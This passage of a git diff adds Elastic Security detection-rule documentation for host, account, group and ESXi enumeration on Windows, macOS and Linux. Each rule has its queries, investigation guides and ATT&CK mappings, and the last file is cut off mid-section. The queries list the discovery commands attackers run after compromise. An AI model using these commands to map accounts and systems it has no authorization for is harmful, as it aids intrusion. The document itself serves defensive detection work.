a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-enumeration-command-spawned-via-wmiprvse.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-enumeration-command-spawned-via-wmiprvse.asciidoc new file mode 100644 index 0000000000..28d6882825 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-enumeration-command-spawned-via-wmiprvse.asciidoc @@ -0,0 +1,216 @@ +[[prebuilt-rule-8-19-34-enumeration-command-spawned-via-wmiprvse]] +=== Enumeration Command Spawned via WMIPrvSE + +Identifies native Windows host and network enumeration commands spawned by the Windows Management Instrumentation Provider Service (WMIPrvSE). + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 322 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Enumeration Command Spawned via WMIPrvSE* + + +Windows Management Instrumentation (WMI) is a powerful framework for managing data and operations on Windows systems. Adversaries exploit WMI to execute enumeration commands stealthily, leveraging the WMI Provider Service (WMIPrvSE) to gather system and network information. The detection rule identifies suspicious command executions initiated by WMIPrvSE, focusing on common enumeration tools while excluding benign use cases, thus highlighting potential malicious activity. + + +*Possible investigation steps* + + +- Review the process command line details to understand the specific enumeration command executed and its arguments, focusing on the process.command_line field. +- Investigate the parent process to confirm it is indeed WMIPrvSE by examining the process.parent.name field, ensuring the execution context aligns with potential misuse of WMI. +- Check the user context under which the process was executed to determine if it aligns with expected administrative activity or if it suggests unauthorized access. +- Correlate the event with other logs or alerts from the same host to identify any preceding or subsequent suspicious activities, such as lateral movement or privilege escalation attempts. +- Assess the network activity from the host around the time of the alert to identify any unusual outbound connections or data exfiltration attempts. +- Verify if the process execution is part of a known and legitimate administrative task or script by consulting with system administrators or reviewing change management records. + + +*False positive analysis* + + +- Routine administrative tasks using WMI may trigger the rule, such as network configuration checks or system diagnostics. To manage this, identify and exclude specific command patterns or arguments that are part of regular maintenance. +- Security tools like Tenable may use WMI for legitimate scans, which can be mistaken for malicious activity. Exclude processes with arguments related to known security tools, such as "tenable_mw_scan". +- Automated scripts or scheduled tasks that perform system enumeration for inventory or monitoring purposes can cause false positives. Review and whitelist these scripts by excluding their specific command lines or parent processes. +- Certain enterprise applications may use WMI for legitimate operations, such as querying system information. Identify these applications and create exceptions based on their process names or command line arguments. +- Regular use of network utilities by IT staff for troubleshooting can be flagged. Implement exclusions for known IT user accounts or specific command line patterns used during these activities. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified as being spawned by WMIPrvSE, especially those matching the enumeration tools listed in the detection query. +- Conduct a thorough review of recent WMI activity on the affected system to identify any additional unauthorized or suspicious commands executed. +- Reset credentials for any accounts that may have been compromised or used in the suspicious activity to prevent further unauthorized access. +- Restore the system from a known good backup if any malicious activity is confirmed and cannot be remediated through other means. +- Implement additional monitoring on the affected system and network to detect any recurrence of similar suspicious activities. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat has spread to other systems. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and process.command_line != null and + process.name: + ( + "arp.exe", "dsquery.exe", "dsget.exe", "gpresult.exe", "hostname.exe", "ipconfig.exe", "nbtstat.exe", + "net.exe", "net1.exe", "netsh.exe", "netstat.exe", "nltest.exe", "ping.exe", "qprocess.exe", "quser.exe", + "qwinsta.exe", "reg.exe", "sc.exe", "systeminfo.exe", "tasklist.exe", "tracert.exe", "whoami.exe" + ) and + process.parent.name:"wmiprvse.exe" and + not ( + process.name : "sc.exe" and process.args : "RemoteRegistry" and process.args : "start=" and + process.args : ("demand", "disabled") + ) and + not process.args : "tenable_mw_scan" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Service Discovery +** ID: T1007 +** Reference URL: https://attack.mitre.org/techniques/T1007/ +* Technique: +** Name: Query Registry +** ID: T1012 +** Reference URL: https://attack.mitre.org/techniques/T1012/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Sub-technique: +** Name: Internet Connection Discovery +** ID: T1016.001 +** Reference URL: https://attack.mitre.org/techniques/T1016/001/ +* Technique: +** Name: Remote System Discovery +** ID: T1018 +** Reference URL: https://attack.mitre.org/techniques/T1018/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: System Network Connections Discovery +** ID: T1049 +** Reference URL: https://attack.mitre.org/techniques/T1049/ +* Technique: +** Name: Process Discovery +** ID: T1057 +** Reference URL: https://attack.mitre.org/techniques/T1057/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Technique: +** Name: Software Discovery +** ID: T1518 +** Reference URL: https://attack.mitre.org/techniques/T1518/ +* Technique: +** Name: Group Policy Discovery +** ID: T1615 +** Reference URL: https://attack.mitre.org/techniques/T1615/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-enumeration-of-administrator-accounts.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-enumeration-of-administrator-accounts.asciidoc new file mode 100644 index 0000000000..fac3dcac2f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-enumeration-of-administrator-accounts.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-enumeration-of-administrator-accounts]] +=== Enumeration of Administrator Accounts + +Identifies instances of lower privilege accounts enumerating Administrator accounts or groups using built-in Windows tools. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-system.security* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 221 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Enumeration of Administrator Accounts* + + +After successfully compromising an environment, attackers may try to gain situational awareness to plan their next steps. This can happen by running commands to enumerate network resources, users, connections, files, and installed security software. + +This rule looks for the execution of the `net` and `wmic` utilities to enumerate administrator-related users or groups in the domain and local machine scope. Attackers can use this information to plan their next steps of the attack, such as mapping targets for credential compromise and other post-exploitation activities. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal account behavior, such as command executions, file creations or modifications, and network connections. + + +*False positive analysis* + + +- Discovery activities are not inherently malicious if they occur in isolation. As long as the analyst did not identify suspicious activity related to the user or host, such alerts can be dismissed. + + +*Related rules* + + +- AdFind Command Activity - eda499b8-a073-4e35-9733-22ec71f57f3a + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and +( + ( + ( + (process.name : "net.exe" or ?process.pe.original_file_name == "net.exe") or + ((process.name : "net1.exe" or ?process.pe.original_file_name == "net1.exe") and not process.parent.name : "net.exe") + ) and + process.args : ("group", "user", "localgroup") and + process.args : ("*admin*", "Domain Admins", "Remote Desktop Users", "Enterprise Admins", "Organization Management") + and not process.args : ("/add", "/delete") + ) or + ( + (process.name : "wmic.exe" or ?process.pe.original_file_name == "wmic.exe") and + process.args : ("group", "useraccount") + ) +) and not user.id : ("S-1-5-18", "S-1-5-19", "S-1-5-20") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Local Groups +** ID: T1069.001 +** Reference URL: https://attack.mitre.org/techniques/T1069/001/ +* Sub-technique: +** Name: Domain Groups +** ID: T1069.002 +** Reference URL: https://attack.mitre.org/techniques/T1069/002/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Local Account +** ID: T1087.001 +** Reference URL: https://attack.mitre.org/techniques/T1087/001/ +* Sub-technique: +** Name: Domain Account +** ID: T1087.002 +** Reference URL: https://attack.mitre.org/techniques/T1087/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-enumeration-of-privileged-local-groups-membership.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-enumeration-of-privileged-local-groups-membership.asciidoc new file mode 100644 index 0000000000..1b2fac9288 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-enumeration-of-privileged-local-groups-membership.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-34-enumeration-of-privileged-local-groups-membership]] +=== Enumeration of Privileged Local Groups Membership + +Identifies instances of an unusual process enumerating built-in Windows privileged local groups membership like Administrators or Remote Desktop users. + +*Rule type*: new_terms + +*Rule indices*: + +* winlogbeat-* +* logs-system.security* +* logs-windows.forwarded* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Data Source: Windows Security Event Logs +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Ransomware +* Rule Type: New Terms +* Platform: Windows +* Resources: Osquery + +*Version*: 422 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Enumeration of Privileged Local Groups Membership* + + +After successfully compromising an environment, attackers may try to gain situational awareness to plan their next steps. This can happen by running commands to enumerate network resources, users, connections, files, and installed security software. + +This rule looks for the enumeration of privileged local groups' membership by suspicious processes, and excludes known legitimate utilities and programs installed. Attackers can use this information to decide the next steps of the attack, such as mapping targets for credential compromise and other post-exploitation activities. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Identify the process, host and user involved on the event. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal account behavior, such as command executions, file creations or modifications, and network connections. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- Discovery activities are not inherently malicious if they occur in isolation. As long as the analyst did not identify suspicious activity related to the user or host, such alerts can be dismissed. +- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and command line conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +Audit Security Group Management must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-security-group-management + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:windows and event.category:iam and event.action:user-member-enumerated and + ( + group.name:(*Admin* or "RemoteDesktopUsers") or + winlog.event_data.TargetSid:("S-1-5-32-544" or "S-1-5-32-555") + ) and + not ( + winlog.event_data.SubjectUserName: *$ or + winlog.event_data.SubjectUserSid: ("S-1-5-19" or "S-1-5-20") or + winlog.event_data.CallerProcessName:("-" or + C\:\\Windows\\System32\\VSSVC.exe or + C\:\\Windows\\System32\\SearchIndexer.exe or + C\:\\Windows\\System32\\CompatTelRunner.exe or + C\:\\Windows\\System32\\oobe\\msoobe.exe or + C\:\\Windows\\System32\\net1.exe or + C\:\\Windows\\System32\\svchost.exe or + C\:\\Windows\\System32\\Netplwiz.exe or + C\:\\Windows\\System32\\msiexec.exe or + C\:\\Windows\\System32\\CloudExperienceHostBroker.exe or + C\:\\Windows\\System32\\RuntimeBroker.exe or + C\:\\Windows\\System32\\wbem\\WmiPrvSE.exe or + C\:\\Windows\\System32\\SrTasks.exe or + C\:\\Windows\\System32\\diskshadow.exe or + C\:\\Windows\\System32\\dfsrs.exe or + C\:\\Windows\\System32\\vssadmin.exe or + C\:\\Windows\\System32\\dllhost.exe or + C\:\\Windows\\System32\\mmc.exe or + C\:\\Windows\\System32\\SettingSyncHost.exe or + C\:\\Windows\\System32\\inetsrv\\w3wp.exe or + C\:\\Windows\\System32\\wsmprovhost.exe or + C\:\\Windows\\System32\\mstsc.exe or + C\:\\Windows\\System32\\esentutl.exe or + C\:\\Windows\\System32\\RecoveryDrive.exe or + C\:\\Windows\\System32\\SystemPropertiesComputerName.exe or + C\:\\Windows\\SysWOW64\\msiexec.exe or + C\:\\Windows\\System32\\taskhostw.exe or + C\:\\Windows\\ImmersiveControlPanel\\SystemSettings.exe or + C\:\\Windows\\Temp\\rubrik_vmware*\\snaptool.exe or + C\:\\Windows\\VeeamVssSupport\\VeeamGuestHelper.exe or + C\:\\WindowsAzure\\*WaAppAgent.exe or + C\:\\$WINDOWS.~BT\\Sources\\*.exe + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Local Groups +** ID: T1069.001 +** Reference URL: https://attack.mitre.org/techniques/T1069/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-enumeration-of-users-or-groups-via-built-in-commands.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-enumeration-of-users-or-groups-via-built-in-commands.asciidoc new file mode 100644 index 0000000000..0a2d058111 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-enumeration-of-users-or-groups-via-built-in-commands.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-34-enumeration-of-users-or-groups-via-built-in-commands]] +=== Enumeration of Users or Groups via Built-in Commands + +Identifies the execution of macOS built-in commands related to account or group enumeration. Adversaries may use account and group information to orient themselves before deciding how to act. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Enumeration of Users or Groups via Built-in Commands* + + +Built-in macOS commands like `ldapsearch`, `dsmemberutil`, and `dscl` are essential for managing and querying user and group information. Adversaries exploit these to gather insights into system accounts and groups, aiding in lateral movement or privilege escalation. The detection rule identifies suspicious use of these commands, especially when executed from non-standard parent processes, excluding known legitimate applications, to flag potential misuse. + + +*Possible investigation steps* + + +- Review the process details to identify the specific command executed, focusing on the process name and arguments, such as "ldapsearch", "dsmemberutil", or "dscl" with specific arguments like "read", "list", or "search". +- Examine the parent process information, including the executable path and name, to determine if the command was launched from a non-standard or suspicious parent process. +- Check the exclusion list of known legitimate applications to ensure the alert was not triggered by a benign process, such as those from QualysCloudAgent, Kaspersky, or ESET. +- Investigate the user account associated with the process execution to determine if it aligns with expected behavior or if it indicates potential compromise or misuse. +- Correlate the event with other logs or alerts to identify any patterns of suspicious activity, such as repeated enumeration attempts or other discovery tactics. +- Assess the system's recent activity for signs of lateral movement or privilege escalation attempts that may follow the enumeration of users or groups. + + +*False positive analysis* + + +- Security and management tools like QualysCloudAgent, Kaspersky Anti-Virus, and ESET Endpoint Security may trigger false positives due to their legitimate use of built-in commands for system monitoring. To mitigate this, add these applications to the exclusion list in the detection rule. +- Development environments such as Xcode might execute these commands during normal operations. If Xcode is frequently triggering alerts, consider excluding its executable path from the rule. +- VPN and network management applications like NordVPN and Zscaler may use these commands for network configuration and user management. Exclude these applications if they are known to be safe and frequently used in your environment. +- Parallels Desktop and similar virtualization software might access user and group information as part of their functionality. If these applications are trusted, add their executable paths to the exclusion list. +- Regular administrative tasks performed by IT personnel using NoMAD or similar tools can also cause false positives. Ensure these tools are excluded if they are part of routine operations. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent potential lateral movement by the adversary. +- Terminate any suspicious processes identified by the detection rule, specifically those involving `ldapsearch`, `dsmemberutil`, or `dscl` commands executed from non-standard parent processes. +- Conduct a thorough review of user and group accounts on the affected system to identify any unauthorized changes or additions, and revert any suspicious modifications. +- Reset passwords for all user accounts on the affected system, prioritizing those with administrative privileges, to mitigate potential unauthorized access. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems have been compromised. +- Implement additional monitoring on the affected system and network to detect any further unauthorized enumeration attempts or related suspicious activities. +- Review and update endpoint security configurations to ensure that legitimate applications are properly whitelisted and that unauthorized applications are blocked from executing enumeration commands. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + ( + process.name in ("ldapsearch", "dsmemberutil") or + (process.name == "dscl" and + process.args in ("read", "-read", "list", "-list", "ls", "search", "-search") and + process.args like ("/Active Directory/*", "/Users*", "/Groups*")) + ) and + ((process.Ext.effective_parent.executable like "/Volumes/*" or process.parent.executable like "/Volumes/*") or + (process.Ext.effective_parent.name : ".*" or process.parent.name : ".*") or + (process.parent.code_signature.trusted == false or process.parent.code_signature.exists == false)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Local Groups +** ID: T1069.001 +** Reference URL: https://attack.mitre.org/techniques/T1069/001/ +* Sub-technique: +** Name: Domain Groups +** ID: T1069.002 +** Reference URL: https://attack.mitre.org/techniques/T1069/002/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Local Account +** ID: T1087.001 +** Reference URL: https://attack.mitre.org/techniques/T1087/001/ +* Sub-technique: +** Name: Domain Account +** ID: T1087.002 +** Reference URL: https://attack.mitre.org/techniques/T1087/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-esxi-discovery-via-find.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-esxi-discovery-via-find.asciidoc new file mode 100644 index 0000000000..f17e256473 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-esxi-discovery-via-find.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-34-esxi-discovery-via-find]] +=== ESXI Discovery via Find + +Identifies instances where the 'find' command is started on a Linux system with arguments targeting specific VM-related paths, such as "/etc/vmware/", "/usr/lib/vmware/", or "/vmfs/*". These paths are associated with VMware virtualization software, and their presence in the find command arguments may indicate that a threat actor is attempting to search for, analyze, or manipulate VM-related files and configurations on the system. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.bleepingcomputer.com/news/security/massive-esxiargs-ransomware-attack-targets-vmware-esxi-servers-worldwide/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating ESXI Discovery via Find* + + +VMware ESXi is a hypervisor used to deploy and manage virtual machines. Adversaries may exploit the 'find' command on Linux systems to locate VM-related files, potentially to gather information or manipulate configurations. The detection rule identifies suspicious 'find' command executions targeting VMware paths, excluding legitimate processes, to flag potential reconnaissance activities. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the 'find' command was executed with arguments targeting VMware paths such as "/etc/vmware/*", "/usr/lib/vmware/*", or "/vmfs/*". +- Check the parent process of the 'find' command to ensure it is not "/usr/lib/vmware/viewagent/bin/uninstall_viewagent.sh", which is excluded from the rule as a legitimate process. +- Investigate the user account associated with the 'find' command execution to determine if it is a known and authorized user for VMware management tasks. +- Examine recent login and access logs for the user account to identify any unusual or unauthorized access patterns. +- Correlate this event with other security alerts or logs to identify if there are additional signs of reconnaissance or unauthorized activity on the system. +- Assess the system's current state and configuration to ensure no unauthorized changes have been made to VMware-related files or settings. + + +*False positive analysis* + + +- Legitimate administrative tasks may trigger the rule if system administrators use the 'find' command to audit or manage VMware-related files. To handle this, create exceptions for known administrative scripts or user accounts that regularly perform these tasks. +- Automated backup or monitoring scripts that scan VMware directories can also cause false positives. 